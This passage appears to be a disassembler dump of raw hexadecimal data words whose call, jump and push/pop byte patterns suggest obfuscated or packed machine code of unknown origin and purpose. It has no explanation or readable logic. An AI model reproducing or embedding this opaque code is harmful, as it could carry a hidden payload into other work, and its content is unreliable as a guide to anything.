dd 0F429A2CFh, 0FEEC4113h, 820F8DECh, 1Dh, 17820Fh, 11E80000h dd 0D3000000h, 22A29EF7h, 6D55822Fh, 0E40734AFh, 0B6FFC6BBh dd 0BFA2B65Ah, 0E96EA50h, 8323DCB8h, 1D890F36h, 0E8000000h dd 11h, 77DB67E7h, 16C32F69h, 17E59733h, 0EC267866h, 8C0F55h dd 58000000h, 0E9CAB70Fh, 0Dh, 0F86549B9h, 0B503811h, 1CA13CCEh dd 24E2BAEEh, 81665C8Bh, 0B17676C9h, 6BD181EEh, 0BE5F65D3h dd 41E5D126h, 5E8h, 0D3C75C00h, 0F98AA870h, 68BB5059h dd 590EE70Ah, 9E951h, 5BC90000h, 666A67D0h, 59E94015h dd 0AE9h, 5D870500h, 4987B153h, 504CB8EBh, 5850Fh, 35B80000h dd 5E5F4218h, 51B260F5h, 0F6130B7h, 684h, 890F00h, 0F000000h dd 24BAC0BFh, 53555B34h, 59D0B70Fh, 6A488FB9h, 0BE968h dd 0E2450000h, 0BB2C5EDEh, 0E2736CCEh, 0DE960CCh, 0A0000000h dd 9CB46D18h, 444528A2h, 59268F03h, 0D9B70F60h, 880Fh dd 61610000h, 12E8h, 0E6470700h, 0C109A45Eh, 4444285Bh dd 9235220h, 0E9492DC6h, 11h, 0B364691h, 8D8CABC4h, 61211D0Ch dd 49258B26h, 0FEB45F59h, 5E8h, 28469B00h, 8D0FAD09h, 10h dd 0BE9h, 0E281F600h, 81FC7C02h, 73AE0CA8h, 66A6B35Bh dd 8116EABBh, 0C3CA30D6h, 81D98B3Fh, 0F6F4D3E9h, 7258BF19h dd 0C6B06527h, 13E9F08Bh, 79000000h, 0E84B532Fh, 1B112D9Eh dd 643F0A33h, 42A54081h, 0BF0F04BCh, 0A0B551FAh, 74DA815Ah dd 6028B273h, 36D5CE81h, 0BB663B28h, 66618D23h, 60CC58BAh dd 6820Fh, 820F0000h, 0 dd 0C03DE6BEh, 0CE80610Ah, 0CB8B667Eh, 58A0Fh, 81660000h dd 0E9C575D7h, 10h, 0B3E57BB0h, 603A8CE2h, 71ACFBD3h, 20DBA241h dd 34B4DE8Bh, 0F68157F8h, 0A071F5Ah, 70D4805Eh, 0E9CB8B66h dd 7, 50BF78C5h, 60AB2DE8h, 80C0B70Fh, 0E96144C9h, 0Ch dd 24297285h, 16A046E3h, 8C77A802h, 0E8CBB70Fh, 0Eh, 667E8499h dd 3D4B26A1h, 0B39A6442h, 0E95934A9h, 11h, 580F6CEAh, 0C8CD013Dh dd 55B9FCD4h, 0F7AA0652h, 39F3816Fh, 66294E9Dh, 6E88F081h dd 0A49BB966h, 10E892B0h, 0E2000000h, 289DD2F4h, 0B33F6F46h dd 0FF90D43Ch, 0F9CC110h, 83h, 0E9605A00h, 12h, 201C93CBh dd 2BCDE2FAh, 923C71A1h, 75902A2Eh, 81665F2Fh, 61C898F1h dd 0F08B66F9h, 48A0Fh, 0B8660000h, 0BE665683h, 81665FE8h dd 0FA864F7h, 38Eh, 0C6BF0F00h, 0CF81C38Ah, 5ABD315Eh dd 0AD7BBA66h, 14E08166h, 3D04B9E2h, 0B8F87655h, 35EBFD2Eh dd 48C0Fh, 0B1500000h, 830F587Fh, 0 dd 0EE8h, 0EE1D5300h, 24FD4069h, 0D53B6877h, 0B5817C3Dh dd 0F0815B5Eh, 36453C56h, 840F51F8h, 4, 3D0AB866h, 0C1816659h dd 870FD27Dh, 8, 2890Fh, 75B10000h, 93EE8166h, 0D18B669Bh dd 6E9h, 4A517300h, 8B815DBDh, 6E9CFh, 541D0000h, 73F6361h dd 0F98CB460h, 8F0F61h, 0E8000000h, 11h, 38083BDDh, 351DF811h dd 73485BA1h, 0DE9829FEh, 28BE6674h, 0E8FC5889h, 14h, 598889ABh dd 0CD304FACh, 0E83BFD01h, 0E5ED986Eh, 7BC33F5h, 5A5259FCh dd 2820Fh, 0E68A0000h, 8166DA8Bh, 8AC9B4E1h, 0CE8F7h, 0F27B0000h dd 37036C3Eh, 0E67CAC98h, 0BF0FBC35h, 66F85FD0h, 0FF2BE881h dd 0B773B3BBh, 0FBBF0F6Eh, 6E960h, 9D490000h, 0BA900ADh dd 0F5DE8161h, 0E82E267Dh, 0Fh, 9E457A1Ah, 227B1760h, 0E4376F0Eh dd 0BE3315EBh, 7E3CE718h, 0F18B65Ah, 7FBAF9BFh, 0E926AEA7h dd 0Fh, 0B474BD6Bh, 0E9C8E845h, 188692A4h, 66256463h, 8BDE4CBAh dd 0FA0B2D0h, 1181h, 8E800h, 0AC410000h, 8B8E717h, 0BF0F016Fh dd 0DB8058D9h, 820FF527h, 6, 0C9DECB81h, 890F11CEh, 3 dd 57F88B66h, 0FAB86651h, 0F55E5B07h, 8D0Fh, 8B660000h dd 5830FCBh, 66000000h, 6669DF81h, 66D3C580h, 0F168C981h dd 7FF18153h, 597F496Eh, 66DD8A60h, 0FC61CB8Bh, 92BB66F9h dd 0B8DA8B56h, 4442970Eh, 60CE8B66h, 850F53h, 5E000000h dd 0ABF1BB66h, 58CF8061h, 0F8FCB80h, 6060F0BFh, 0B70F5950h dd 616061C6h, 0E9DF8B61h, 7, 0CE12C53Ch, 602BC0A5h, 14E9h dd 16C95900h, 2FA86AE9h, 0A8931748h, 847119BEh, 678E8C96h dd 37EA8008h, 0F9FB8B61h, 9E9h, 6E86D000h, 3EF4EE2Eh, 0E181787Eh dd 0D2CE94Dh, 0C810Fh, 860F0000h, 6, 830Fh, 840F0000h dd 1, 0B6D081F8h, 0F0D5A2Bh, 28Fh, 0BB5AB400h, 43E940DAh dd 12E9h, 0D2DECE00h, 87CD064Fh, 19471055h, 3D3AE378h dd 66AD59BBh, 0F48DEE81h, 8B66D68Bh, 18B0FDFh, 0FC000000h dd 34B72B8h, 0CB8B6620h, 6E9h, 75E3E900h, 0FB81A70h, 587h dd 4A67B800h, 0DF80549Eh, 0C7816613h, 0B9609FD9h, 4E877792h dd 4CE88166h, 0F606102h, 6061C1B7h, 0E9FEE280h, 0Ah, 89632BB7h dd 0CA067250h, 0B461957Ah, 14E855h, 48CE0000h, 7AD3F14Ch dd 421FCCE4h, 0A4676AFEh, 0C7B50980h, 6E83792h, 0F000000h dd 0CA0C8437h, 6E8B8h, 0BDBC0000h, 12C484AFh, 0F5F5F5Fh dd 383h, 0D78B6600h, 1810Fh, 0B5F80000h, 0CE8C9h, 38E70000h dd 0BDE33156h, 7D40E9BCh, 0C38BD612h, 0BBBDBF5Ah, 0F51586Eh dd 0F5EC0BFh, 188Dh, 10E800h, 21DF0000h, 0B84EFC13h, 0AEE5BC59h dd 0BEAFF76Ah, 61603ED6h, 58B0F5Eh, 0BE000000h, 64CF79AAh dd 97E38166h, 0CE6CBA20h, 9E92CBEh, 19000000h, 9B38527Fh dd 0D65A81FEh, 5FF0B352h, 0E8DFB70Fh, 0Fh, 3C8B8F9Eh, 0A456A54Ch dd 0A9147601h, 0F0FFA17h, 38Bh, 0FA8B6600h, 31EFBA58h dd 0BF663B08h, 14E94347h, 0D3000000h, 3C68768h, 0F2171111h dd 0B58C5342h, 0E426406Ch, 607ED9A8h, 0DE8h, 8E3B6B00h dd 942D3394h, 0C8D201E8h, 11E9EB93h, 0F2000000h, 0D5B22849h dd 25DEAB2Eh, 0DA52C1EEh, 19E9D7E8h, 8166505Eh, 597B0FF3h dd 0F15B261h, 0E960CEBFh, 0Bh, 46C19AA2h, 27777966h, 0F8589D82h dd 0E9CE8A61h, 0Dh, 6B20B14h, 75F0340Ah, 13FBF88Fh, 0C78B66FEh dd 7E960h, 0FF220000h, 13DCFAF2h, 16F181C9h, 613833D2h dd 168D0Fh, 8C0F0000h, 10h, 0AE8h, 0D3827500h, 55113F9Dh dd 5E24167Ah, 68BA6660h, 0DF8166EEh, 536107BDh, 0F381665Fh dd 840FCF7Dh, 3, 50D88B66h, 13E9h, 7CCFAA00h, 0CEA1FEBBh dd 5D8F80FAh, 10FABE6Bh, 625AF5F2h, 9E95Ah, 0F2D90000h dd 493370C4h, 0F0090AFh, 58Fh, 0EB3FBA00h, 0DE817321h dd 5E4B1FE4h, 0BE9F8h, 0E7510000h, 8E40C4C2h, 0A06A5193h dd 0C981668Ah, 0E9F548C1h, 0Dh, 8EB88D80h, 23A5833Bh, 1A6CA74Ah dd 5E93Ch, 0ED8F0000h, 0E96A82C2h, 6, 0BB0FE53Fh, 0DE8A7403h dd 11E9h, 64ACA000h, 0B9962B5Ch, 0BE4C9FDFh, 39203155h dd 57B27FC0h, 7E8h, 0EE01EC00h, 91FD8765h, 8C0F60h, 0E8000000h dd 14h, 0EC0373BBh, 9DA96A20h, 0D05DB4Dh, 1788873Ah, 0C789C0D3h dd 8158615Fh, 5FF027C7h, 0C88B663Fh, 0DE850h, 73FB0000h dd 8F1D3AC3h, 2BFD7110h, 6608F0F1h, 5A58C88Bh, 9393E681h dd 0BA660D7Ah, 0CE935BFh, 19000000h, 63264988h, 0B4DE589Ah dd 0FBA1337h, 0B866DAB7h, 8B66F0EBh, 0FE9C1h, 0A7710000h dd 8CE7AB9Dh, 0C18D2B89h, 0AA31FF77h, 3820FF8h, 0F000000h dd 8E8D1B7h, 25000000h, 0EB129031h, 66D242EBh, 5E2BD4B8h dd 0E8FC69B0h, 5, 0B2CCA95Bh, 820F51h, 5B000000h, 8A50D48Ah dd 8C0F5FE7h, 0 dd 2F85D881h, 0E9FC58DDh, 5, 2E00FC6Dh, 0B2E88128h, 0B024F6EFh dd 0F0816680h, 8166420Bh, 0F84DCCEBh, 0FECE880h, 485h dd 0F7BB6600h, 3890F71h, 0F000000h, 86B3C8B7h, 80C18B66h dd 0D2818DD1h, 6094F163h, 7E960h, 1B510000h, 0AD07E373h dd 860F32h, 61000000h, 0B4D88B66h, 8B6660D3h, 0F28B66DEh dd 0CE9FC61h, 0A4000000h, 0C7B50980h, 0C3B13792h, 66293870h dd 82C7D881h, 0DD6CB966h, 0E91FA1BFh, 0EE972h, 1200000h dd 0EF0785DAh, 5AC35367h, 86DEDAA0h, 10E9h, 62B96300h dd 4A094F7Bh, 0EB1710C5h, 0A8AF51FEh, 0E96060FAh, 0Fh dd 0AF49A07h, 0FAD7A3AAh, 0BFCE4CCFh, 61E83E56h, 0CE8h dd 98410700h, 5E396686h, 0B7B5F995h, 6061587Bh, 2830Fh dd 81B10000h, 5E961h, 0B2D00000h, 0E816BD2Dh, 7, 0E419EB38h dd 0B2765565h, 800F5BB1h, 6, 0C597CE81h, 56F50B30h, 5850Fh dd 0FB90000h, 5F60F8F0h, 0FC28B66h, 48Fh, 1EBA6600h, 0EF8166E8h dd 9E9EDCDh, 46000000h, 2B0B9B13h, 0C2CEB977h, 800Fh, 8B660000h dd 666060FEh, 8B3B23BBh, 61B861D0h, 612AE51Eh, 5860FF8h dd 66000000h, 643AC981h, 0B7FFD280h, 4BB966A8h, 8820F44h dd 0F000000h, 289h, 66CE8A00h, 7CABDF81h, 0FCB8B66h, 9E9F7B7h dd 77000000h, 56BCD408h, 0B583CBADh, 203EBF52h, 0E958794Bh dd 9, 0DBD4E542h, 0BF8C7DA2h, 4820F04h, 66000000h, 6629D3BFh dd 509663B8h, 3850Fh, 8B660000h, 0E9525BC6h, 0Fh, 0DCB239C2h dd 0C5DF3F6Bh, 5EF4CED3h, 5B9416EAh, 8166C88Bh, 0E96A7EE0h dd 9, 76CB6A0Ah, 0B0E9CCEEh, 20EBBE09h, 0C8BB39F9h, 0E952FA6Ch dd 8, 3BE15A6Ah, 0D8BCD6FCh, 0D881F4BEh, 61FC602Dh, 0D1EF81F9h dd 53397DDDh, 5FFFBF0Fh, 0F1BACB8Bh, 6649D3F1h, 385DF381h dd 5E852h, 0B3280000h, 0FBA99B7h, 80h, 60595F00h, 8B66C78Bh dd 0F18161F1h, 7E0A064Fh, 0E9D78B66h, 14h, 69DADDB5h, 9ACFB8B4h dd 0B80286ACh, 0EC4A469Dh, 35C8B439h, 66E1B7F9h, 8B93ADBFh dd 66F88BD8h, 0BFB4DE8Bh, 6C27C681h, 0BF662BB2h, 8E0F49A3h dd 0 dd 10E8h, 3D4E3B00h, 0C5EBEE7h, 0AD244384h, 0AA8684E1h dd 72C88077h, 0FE9605Fh, 0B000000h, 0EBFABB88h, 0B00F54D3h dd 43D28A3Fh, 0EAB1B89Ah, 8E961h, 958C0000h, 90E28FFFh dd 57F974FDh, 59FB8B66h, 0FF7B70Fh, 85h, 39DB8000h, 0C9816650h dd 605B0FFFh, 81F7B70Fh, 3C7BDBEFh, 53F5610Eh, 5BCAB70Fh dd 66FE8B66h, 0B72EB7BEh, 1FC78161h, 663FFF7Eh, 66D73EBEh dd 5CD8D681h, 0D4D98166h, 2EF78014h, 0A7B7F88Bh, 14A86BBEh dd 48BF6615h, 8BDE8A2Ah, 80F860D6h, 8161E7EBh, 0A0700AF0h dd 8D0F0Eh, 66000000h, 0E9B176B8h, 0Ah, 28FAA690h, 61A569CDh dd 0E9606EC2h, 11h, 0CAA931FCh, 50708B33h, 0E21DFFB3h dd 0DA7AC146h, 0D820F80h, 0E9000000h, 8, 0E9900E1Dh, 9C2668DCh dd 7EC88161h, 0F32B538h, 1687h, 8E86000h, 40000000h, 0FF579CB7h dd 5F94E8D1h, 0B29AEA81h, 0F5615384h, 7E9h, 3F6BDC00h dd 0CED3C5DFh, 8E9h, 0E8533E00h, 71AA30D6h, 0BFEFBB77h dd 0CA8A71F4h, 0D8816660h, 0B9612DA1h, 6A4CBC75h, 0C18B5656h dd 0F0B15F5Ah, 0E9C78B66h, 14h, 185E7218h, 0B20A4CCBh dd 4BD9FF8Fh, 5ED8012Eh, 0F65BF7E6h, 11E952F8h, 87000000h dd 5FFB749Ah, 4F1C5093h, 4A947720h, 144C7DE2h, 465CBB5Eh dd 8B667EB2h, 0CE9F5D9h, 2000000h, 0D99F92FFh, 35D583ABh dd 812C8FE9h, 5F8985DAh, 50B96629h, 0DEBE6653h, 3FDE8117h dd 66756865h, 602BE9BBh, 0F97E780h, 0BF61CEB7h, 5990E89Ch dd 0C18B6660h, 9E860h, 0FB750000h, 7B7E1FEh, 5FB8AA71h dd 8A0Fh, 61610000h, 860FFE8Bh, 2, 0F60DF8Bh, 382h, 0F9B70F00h dd 5EF08061h, 28C0Fh, 0C68A0000h, 2880F52h, 0B6000000h dd 6AB85B00h, 815B5887h, 0ACE616C1h, 0E870F49h, 0E9000000h dd 9, 634140FDh, 0A6044B5Fh, 8060F826h, 0C28B1AD2h, 0F1F38161h dd 80122A23h, 59BA62EDh, 0BA059335h, 7CD98D61h, 7E8h, 0E5FC4000h dd 68AA81EEh, 805FFB8Bh, 0D5B232C0h, 60D8B70Fh, 872BD881h dd 33BA3037h, 61384961h, 0FF18B66h, 0CA81DABFh, 7CEADC75h dd 10800Fh, 0BE90000h, 0A7000000h, 4CAD028h, 0E50B9D47h dd 0F60FE03h, 28Ah, 0FF28B00h, 0E961DABFh, 12h, 0A2D60AD8h dd 0D1DDE2EAh, 65A380BEh, 7A30867Ah, 8C0FA7A3h, 0 aNYxflS db '©╜аYxf▀зИ',9,0 align 4 dd 22CA5E00h, 0CAA66087h, 0E080AA1Ah, 68D881B6h, 0B9724B73h dd 74807409h, 11E9D98Bh, 94000000h, 6D005109h, 3599186Ch dd 0E276E705h, 0DCA3E9F1h, 12E8h, 27DB7700h, 0CDCFE126h dd 0FF980036h, 0EBE16AA8h, 5E706450h, 16C5B860h, 800F36B6h dd 2, 0F61F18Bh, 1389h, 0EE900h, 0BA6B0000h, 210767A3h dd 377C6BABh, 381B886Bh, 168B0Fh, 11E90000h, 0CC000000h dd 0DFA98C07h, 0FA70950Fh, 9B593D2h, 0A035F250h, 3800Fh dd 0E8800000h, 7CCF80C1h, 14E9h, 0D447A500h, 0C747DE7Dh dd 0F4541A94h, 0C4CFE29Ch, 0DB40177Fh, 0E9C0B68Eh, 0Ah dd 1C197339h, 0B0024EA6h, 81668DE8h, 52FDACD2h, 8E8h, 1434CE00h dd 0ED52F287h, 4EB96667h, 8B5A5F1Bh, 8166F5C2h, 0E91FA5EEh dd 0Bh, 0E4CF8259h, 7CB9B5C3h, 0FAEF67Dh, 8Ch, 58B0F00h dd 66000000h, 0FCC7F281h, 6F38166h, 0AAB966BAh, 0BF5BB7DDh dd 1018235Fh, 0CE8h, 4A4A6C00h, 52302E58h, 0D342DD3h, 5E2CB473h dd 3CC08166h, 5860F2Eh, 0BB000000h, 4236A67Eh, 8BDFBF0Fh dd 0C2BF0FF9h, 1A7BE881h, 0B70F1EC9h, 0CB8B66DAh, 0E800Fh dd 9E90000h, 97000000h, 0D5C25EDCh, 925A457Eh, 863E46BAh dd 60F18B0Dh, 0CE9h, 80557700h, 0EBC4CB90h, 9C9F2F35h dd 0D6B866BFh, 8E0F614Fh, 5, 0C0DF06B8h, 0D8E28156h, 0E924CE68h dd 0Ch, 82FAC0CEh, 0C5855072h, 7B4A7FC1h, 5F6EB351h, 4518DB81h dd 815024DBh, 0A9EB8DCFh, 12E95B46h, 54000000h, 64D042B1h dd 480EC5F0h, 317FCE0Ch, 0F90C292Ah, 0CE9DEh, 19E90000h dd 4659C27Ah, 878A624Eh, 606074D8h, 8F0Fh, 5E80000h, 98000000h dd 0BC924DFh, 0E861615Bh, 12h, 0FD9CE5BAh, 5E0AD0E8h, 0B738FEA0h dd 49948C84h, 41B5D3CAh, 0F281F95Eh, 744C08D8h, 0E830F60h dd 0E9000000h, 9, 5927D4A1h, 83A3B6F1h, 0F98B660Dh, 0C28B6661h dd 5E8h, 91E0A00h, 5BF8E68Bh, 0FD67E381h, 7EBA3989h, 0E87578A0h dd 0Bh, 6AE328D0h, 9264FAEAh, 0F85F146h, 0B65AF7BFh, 0EFBF6663h dd 60F88BA3h, 0DE9h, 2B6600h, 0DE320947h, 9259F66Eh, 81663C69h dd 611F4CD3h, 14E9h, 0BD4FEF00h, 0EE6784F0h, 0B0889AF3h dd 0D7CC9CDEh, 0ECEC6F7Dh, 0B5FE8BFBh, 8D0FF7h, 0E9000000h dd 0Eh, 341B3413h, 0FF75E063h, 0D4DA76AFh, 0BA663406h dd 5E9BDD7h, 0E000000h, 0CA73D45Dh, 6DD2D4BAh, 0B8536031h dd 3C846877h, 48E0F5Fh, 66000000h, 61748CBFh, 0B70FFC60h dd 665761CAh, 0B55BF08Bh, 0B2BF6673h, 0BFC3B3F2h, 393847Eh dd 0DE8h, 0FDFD7B00h, 0DE95255Fh, 0D7F9076Fh, 0E2819B40h dd 299B6B4Bh, 0F0816658h, 0F681DAD0h, 6C55A130h, 0FE8h dd 1C609D00h, 0F0B87F7Fh, 15DF0FC9h, 0C28017BFh, 7E859h dd 0A6450000h, 6198F245h, 0AE9BFh, 0C8040000h, 5C3EE2E5h dd 0E22D6985h, 519BBB58h, 0B70F32A1h, 8DB966D8h, 66D68B64h dd 6D90C381h, 0AFADBF66h, 0C800Fh, 7E90000h, 26000000h dd 0C3A25966h, 0C28A551Bh, 66F3BF0Fh, 0CA05E381h, 0A3F78166h dd 0BEB4BF1Ah, 6051529Fh, 51D28166h, 515961EBh, 0E958D18Ah dd 5, 0F05D12FAh, 816660E4h, 6644EDD6h, 616753BAh, 17E98166h dd 14E86052h, 0E7000000h, 7430A050h, 2A43A2D9h, 0C2D9D453h dd 5EA07EB6h, 5FD66EFEh, 1890Fh, 61F90000h, 0A666D0BAh dd 0AE975h, 194A0000h, 8B2D4865h, 7350B09Ah, 786ABB66h dd 810Fh, 880F0000h, 19h, 14E9h, 7A697800h, 0E2E81FB2h dd 6DC55923h, 3B39FD1Fh, 79E9F754h, 0FB8B52A0h, 66D78B5Eh dd 80C66BBEh, 0AE946E9h, 0D4000000h, 6095FFFBh, 87B272E4h dd 0F3816670h, 0CB8B1AD7h, 5880Fh, 55B80000h, 8A5215C0h dd 0EE8166F5h, 0F281F3FCh, 4D9C6E49h, 28C0Fh, 0C38A0000h dd 14E8F98Ah, 37000000h, 8DEAEF34h, 9A90490Ah, 0A885B517h dd 0F85C6390h, 0F97069BEh, 0E781665Fh, 0D48A3664h, 860FE9B4h dd 2, 8166C28Bh, 60BA3FE2h, 6105E580h, 0BA66D88Ah, 0F5F54BA3h dd 8888BBFCh, 0AE91A0Eh, 0CD000000h, 5DC7F6A4h, 6B661813h dd 0E96160A9h, 0Ch, 9B3E5B3Fh, 0C189B2B4h, 0D93419DBh dd 5B4872BAh, 66D38B08h, 0BE3D39BFh, 62E1A1E6h, 0AE960h dd 0D94A0000h, 4FFCA228h, 0CA5BFB00h, 0C2EB5BBAh, 860F615Eh dd 16h, 11E9h, 47771900h, 9367AF16h, 0DBD0BFF8h, 0CCA76ABEh dd 81662B70h, 665DEFEAh, 0B70FF08Bh, 5870FF9h, 0BF000000h dd 6EB52A3Eh, 0DF81C28Ah, 6A59E165h, 66F18B66h, 66D6FBBEh dd 801A5EBAh, 81668DC1h, 0E84CE3D9h, 11h, 0D75D639Fh, 5D41F204h dd 991D343Dh, 0EC604D40h, 6E80Fh, 0C800000h, 64393C06h dd 880Fh, 5B5B0000h, 0BFEE8166h, 0D88B6666h, 11E9h, 0C0B32300h dd 2AFCBA9h, 8EDED207h, 0CB2FA141h, 0CB80EE85h, 8B6660E6h dd 615857F8h, 10E9h, 0B2CCA900h, 0E09DB51h, 818A0CC4h dd 0A859F2Eh, 9820FF1h, 60000000h, 15DE8166h, 61F0B416h dd 660FE380h, 66F165BAh, 9B76D781h, 5A4CEF81h, 0CE87D2Ah dd 7D000000h, 0F314708Fh, 0C58010D8h, 528FD21Eh, 0C302BE66h dd 0CE85E5Eh, 0F4000000h, 55721971h, 1915695Dh, 6622DE1Eh dd 5F2D54B9h, 0FD8BF0Fh, 180h, 14E8F800h, 29000000h, 9E5CC9EFh dd 2594A8F9h, 0A53B98FCh, 1053A66Bh, 819A70F5h, 3A2E5BE7h dd 81665E57h, 0F8FF8C2h, 168Eh, 11E900h, 0D63F0000h, 0B1553E8Dh dd 0BC37B711h, 5FE6362Bh, 0E9BB75D4h, 5, 0C5B4F4ACh, 0DB951DAh dd 5B6F2D3Ch, 14E8h, 29298100h, 6FA8AA41h, 80E8CDA1h, 0D479C5ADh dd 0A0AC1CBFh, 9BA6BE7Ch, 0FC5B43D3h, 5160F28Bh, 8E0Fh dd 81580000h, 0D5FB67DFh, 12E86177h, 72000000h, 0E1DD7211h dd 40F79554h, 37539BFBh, 4023FB68h, 0C38166F7h, 0B159567Bh dd 14E940h, 0B1B60000h, 652B610Ch, 0FC4550B2h, 307FC7B8h dd 24EF4E9Dh, 8166C059h, 0F2F53C9h, 1B9C1B7h, 0F1C7126h dd 810FDABFh, 4, 8B0DBF66h, 24E8F381h, 7E8107Ah, 7D000000h dd 0BC9E29BCh, 0E78118C0h, 12D5A73Bh, 88F0F58h, 0F000000h dd 28Fh, 0BBC28B00h, 11B9CEECh, 0CFE6BE66h, 21E18166h dd 0E9D08B47h, 0Ah, 3825D80Eh, 0DFBAEF84h, 2FB6B716h, 12E8h dd 4AECCD00h, 0CFB416CAh, 0A8A756E6h, 0A9FAD22h, 609B0CE3h dd 810Fh, 59610000h, 0FE8h, 15C0EF00h, 66CD7F3Ah, 468421F6h dd 0F0404683h, 12E958h, 9D90000h, 251C06ECh, 0BC073C74h dd 2415629Bh, 32BB000Fh, 0BE9h, 5911FB00h, 0B7E403ABh dd 0C7C93890h, 0DE952h, 0F4B60000h, 0C7BC7346h, 45F3EF73h dd 58D4BEBDh, 63C98166h, 0F7BF0FFCh, 0F5D08B66h, 44BBA4B5h dd 600DFECAh, 14E955B5h, 9C000000h, 59D35ECFh, 6D6B1A95h dd 6DE25A75h, 0C43E1A46h, 616EA6BCh, 0FE8B6651h, 39F78159h dd 66314989h, 0E9CAB7B9h, 11h, 32D61AEEh, 1BD232B5h, 0FB914BFAh dd 1F1C009Ah, 84B96692h, 0AE971h, 7D910000h, 7E178DF9h dd 59167917h, 0CBB70F60h, 9E857h, 68B60000h, 0FF735770h dd 5F13ACDDh, 0F281615Ah, 182EA3A3h, 3830Fh, 0BF0F0000h dd 0CABF0FC8h dd 0A2E78166h, 11E99Eh, 50300000h, 0C39D4F3h, 66832669h dd 0C498DFDCh, 0E87C1F66h, 0Bh, 608184DAh, 0F88672D0h dd 6029E138h, 8E9h, 0C278C200h, 0C8E56EDFh, 0DEBF0FFCh dd 9E95E61h, 0C000000h, 0FE015C1Ah, 95F33FAFh, 0F870Fh dd 0AE90000h, 1A000000h, 4FE9F5FBh, 5CE91017h, 0EE8166BEh dd 0B3FC3F94h, 11FABEA4h, 14E97E3Bh, 0E9000000h, 3F9A28E1h dd 20F059F4h, 2398544Eh, 0E9D5DFCFh, 0F4CD86Fh, 8B0FCEBFh dd 4, 5E616052h, 949BA66h, 7E860h, 0E0D90000h, 0B4C7A74Bh dd 6D28B80Eh, 815A566Ch, 1ADD46EAh, 880F6177h, 5, 24C78166h dd 0C810FE9h, 0E9000000h, 7, 37B66D52h, 80AA0DF5h, 0BF0F48EDh dd 0CF8B66F0h, 0E9CFBF0Fh, 0Ah, 0AFE915F9h, 0E59C6D30h dd 0FF5874Eh, 87h, 0E9815200h, 1F24E7E0h, 0B3CA8B5Ah, 0D2B70FB5h dd 68A0F51h, 81000000h, 0C2BB14D6h, 0BF0F583Fh, 0DC8A60DEh dd 402C21B8h, 0F88B616Bh, 0E9D9B70Fh, 14h, 0BCF3387Ah dd 8AF10547h, 7F76BAF4h, 8905CF29h, 828D5252h, 8C0Fh, 0BF0F0000h dd 0F68166D9h, 0CE8A0788h, 0EE9h, 0E7B40E00h, 13A5F3CFh dd 81E405E0h, 0FC3477C0h, 650BBB66h, 0EE8F9h, 2E320000h dd 5E85FB8Ah, 8F830589h, 0BB720FA6h, 53C2D681h, 0E9590CA2h dd 0Ah, 0D66222C7h, 8E99B38Ah, 0BF0F0C0Ah, 0D18166D1h dd 0B70FEE21h, 1180B9C6h, 7E94C56h, 0E4000000h, 0B16FB8D4h dd 8166726Bh, 0FEF59C7h, 584h, 561EBB00h, 880F5AE7h, 2 dd 0B866F78Ah, 0F603D46h, 8166DAB7h, 618773DBh, 810F57h dd 5F000000h, 0E6BA6660h, 0F93FBAF0h, 60615FFEh, 12E9h dd 560B5800h, 50F18BF2h, 97184CAh, 92FBC934h, 0F930BC3h dd 18Bh, 8161FC00h, 0CCD282F2h, 0FFB26074h, 61FBBF0Fh dd 0CE8h, 2D4F5F00h, 87F9D778h, 796929C1h, 0EB816620h dd 0B35E18B9h, 7E96069h, 6F000000h, 673E8F0Bh, 0F281D638h dd 3B6B1FDEh, 0D6BF0F61h, 0C6BF0F60h, 61DF8B66h, 0FE0E480h dd 0E860FABFh, 7, 5D99704Ah, 0BA794085h, 27FFFA68h, 61ACB65Eh dd 7FBFC18Bh, 0E964FFA5h, 12h, 0AC70F745h, 1E462994h, 23345BEDh dd 0F02E184Bh, 0D08111AFh, 1E1E4789h, 0DE960h, 0BD220000h dd 1AAA4B25h, 23DA2F8Ah, 0F5DE391h, 686h, 890F00h, 61000000h dd 66F8D08Bh, 8B66F28Bh, 0E9D78BF2h, 13h, 0A681D230h, 10C2FB99h dd 91C2822Ah, 0C563C7ACh, 6646D29Fh, 81F9C18Bh, 0ABDB49DFh dd 0DFBF0F16h, 53F0BF0Fh, 6E95Bh, 159D0000h, 579E1275h dd 0E8DA8B66h, 6, 0E889CB83h, 60566ABCh, 66585961h, 7204E781h dd 0C890Fh, 8A0F0000h, 6, 810Fh, 8B660000h, 8D0F57FAh dd 3, 5BF0B70Fh, 0E9C68B60h, 0Fh, 308B73C3h, 2D774FC9h dd 6C4D94F0h, 61102EF8h, 0C5C38166h, 0CB8B669Ch, 8850FFCh dd 60000000h, 3886BFF5h, 56613247h, 5840F58h, 66000000h dd 71A4C881h, 56C18B66h, 5E9h, 82E8BF00h, 0F5EF908h, 0F57C9BFh dd 38Eh, 0FA8B6600h, 83B86658h, 2870FA2h, 8B000000h, 0AE953C7h dd 0D8000000h, 11222462h, 0C933F042h, 14E85A78h, 6E000000h dd 0A9D1EEF5h, 0BFA1F12Ah, 0D3D15803h, 61978FDAh, 80E0623Ch dd 605B4EEBh, 0B161DB81h, 0F611BB8h, 0B8Fh, 0CE816000h dd 207ED034h, 61CFBF0Fh, 9E9h, 0E90F0300h, 0F91047A1h dd 0F60369Ah, 588h, 0CE816600h, 8B665733h, 6E961C6h, 0A3000000h dd 0BDA7D144h, 0AA71B8D8h, 0BB6636B3h, 8166DC78h, 0F685AF2h dd 0BB57F3BFh, 43253D9Dh, 0D8B8665Fh, 810FF83Fh, 5, 880947BBh dd 48F0F14h, 66000000h, 8B7209B8h, 0E96056F8h, 14h, 0CE0FB28Ah dd 63F27E78h, 6218CF86h, 0B25D74E4h, 0F42F84F8h, 12E9h dd 0B5920D00h, 25910D92h, 2ED2F797h, 8B5E776Ah, 61BB4DFDh dd 0B966605Fh, 8D0FD7E2h, 2, 0E9616160h, 0Bh, 0E2EF9CEFh dd 58A74630h, 8ACE4165h, 6800FC7h, 81000000h, 418BD6D7h dd 43F78102h, 0E9605A37h, 7, 36A995CEh, 66683A44h, 6049EDBFh dd 0BAF2BF0Fh, 5BF1A070h, 33D88161h, 0E93D3F5Bh, 0Fh, 0BB74DA96h dd 0C3A37636h, 76B6CA6Ah, 0E8780D23h, 5, 9072C27Dh, 5B50606Dh dd 0BE665961h, 5E86425h, 0C5000000h, 647F5B2Eh, 8B5E5A50h dd 0F0BF0FC2h, 0EE8h, 2EDA9000h, 2BEBD2A2h, 0C2C2AD97h dd 5EB90B51h, 5E9h, 0BF575C00h, 0F88A9539h, 840Fh, 0E7800000h dd 6604B348h, 0E99501BFh, 10h, 522CC7CFh, 0E14DF3D7h, 3EAD5B24h dd 168D3EF5h, 0FF98B66h, 0F681DABFh, 3035C14Fh, 